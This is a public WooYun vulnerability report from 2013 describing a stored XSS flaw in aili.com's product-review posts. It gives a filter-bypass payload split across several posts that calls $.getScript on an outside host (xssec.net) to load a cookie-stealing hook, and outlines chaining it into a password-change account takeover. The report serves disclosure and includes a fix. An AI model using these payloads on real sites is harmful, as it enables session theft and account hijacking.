漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2013-043156
漏洞标题:爱丽某处存储型XSS可实现你的各种猥琐想法(绕过过滤)
相关厂商:aili.com
漏洞作者: 0x_Jin
提交时间:2013-11-18 11:03
修复时间:2014-01-02 11:04
公开时间:2014-01-02 11:04
漏洞类型:xss跨站脚本攻击
危害等级:高
自评Rank:15
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2013-11-18: 细节已通知厂商并且等待厂商处理中
2013-11-18: 厂商已经确认,细节仅向厂商公开
2013-11-28: 细节向核心白帽子及相关领域专家公开
2013-12-08: 细节向普通白帽子公开
2013-12-18: 细节向实习白帽子公开
2014-01-02: 细节向公众公开
简要描述:
过滤不严谨 只过滤了之前挖到了一些反射型XSS但是WOOYUN竟然不给我过 我只能深挖了!
助攻:二哥
详细说明:
在产品试用的发表评论以及心得处!
过滤规则非常不严谨 连双引号 >括号都没有过滤!
但是也很让人蛋疼 过滤了 =号 script!
这个时候要想加载hook不可能了 甚至连弹窗的都不可能!
因为不能<script>alert(/Jin/)</script>
或者<img src=x onerror=alert(1)>
因为script 以及等号都不用用。。。
这时候 我等技术差的就陷入困境。。。
我应该怎么办?是妥协 插入<style>这种不要等于号的 用css来XSS?
还是去寻找奇淫技巧?No 我们不能妥协 它强悍 我们就要更强悍
在之前摸清楚的规律规则下 就去提问二哥
ps:等于号是不能输入的 即使是单纯的等于号。。。
这时候二哥给了我思路 过滤=号 你测试了等号 那script测试没?
我去一语惊醒梦中人。。。 赶紧去测试。。。
后来经过测试 原来不是直接过滤script 而是过滤一对 <script></script>
这时候猥琐的我们就来了!
发两篇心得 然后拼凑起来 即可!
首先先发一篇标题为:”>/*</script>
再发一篇标题为:"><script>alert(/Jin/)/*
拼凑起来 <script>alert(/Jin/)/*xxxxxx*/</script>
加载Hook:Xsser玩XSS大多都喜欢拿到cookie(虽然我对cookie不是很感冒)为了剧情需要 我就记载个吧!虽然过滤了等号 不能常规的来加载hook 比如<script src=http://xssec.net/xxx> 但是全站都用了jquery 于是我便这样加载了 hook 发三次心得 每次从代码的最后开始发 因为最新的内容是在上面的 本身我们要插入 A B C 但是我们插入hook的时候 就要先从C开始插 1. C 2.B 3.A 最新内容是再最上面的 最后插入三次后的结果便成了 A B C !如果从代码的开始插的话 就是 C B A 了!
我先第一次 插入">*/</script>
第二次插入 ">*/$.getScript('//xssec.net/xxxx')/* ps:为了节省字符 加载hook 我只用了// 代表使用当前协议去加载
第三次插入"><script>/*
ps:每次只能插入20个中文字符也就是40个字节!
经过排序 3 --》 1 2 --》2 1--》3 所以经过拼凑:
"><script>/*">*/$.getScript('//xssec.net/xxxx')/*">*/</script>
中间的多行注释 注释掉了那些干扰我们的万恶代码!
成功加载hook!
OK 躲避过滤规则 成功绕过! 附上高清无码图一张 请笑纳!
这次特意到咖啡厅这种安静的环境下来喝杯咖啡 一边挖洞的!
对于我这种屌丝行为 弱弱的问一句 我98块一杯的蓝山能给个SSD报销一下么。。。。
漏洞证明:
alert: http://hzp.aili.com/experience/5496.html
chrome:
Hook:http://hzp.aili.com/experience/5504.html
修复方案:
过滤的更加严谨一点吧!单引号 双引号 尖括号 危险标签 事件 & # !弱弱的说一句
等于号都不能让人输入 真的很不好。。。。
另外还一处点需要修改! 就是个人中心页面中的修改密码 再用户登陆了的情况下只需要
填入新密码 。。。 如果我抓个修改包 然后修改下cookie为当前我收获到的COOKIE 然后设置密码表单中的值为我自己的!然后cookie中又存在用户名跟邮箱!
后果不用我说了吧! 存储型XSS在手 即使验证了token也没用 找到toKen再哪 用js去获取然后再发送请求的时候带上就可以!每收到一个cookie 也同时执行了 我们的修改密码请求 然后再cookie中看用户名 用我们在hook中设置的密码去登陆就好了!
具体的 我没深挖了 如果深挖这个环节是可以实现的!
要防范也很简单 再修改密码的时候 要求用户输入当前密码就好了!
版权声明:转载请注明来源 0x_Jin@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:18
确认时间:2013-11-18 11:39
厂商回复:
洞主辛苦了, 感谢洞主的修复技巧.
最新状态:
暂无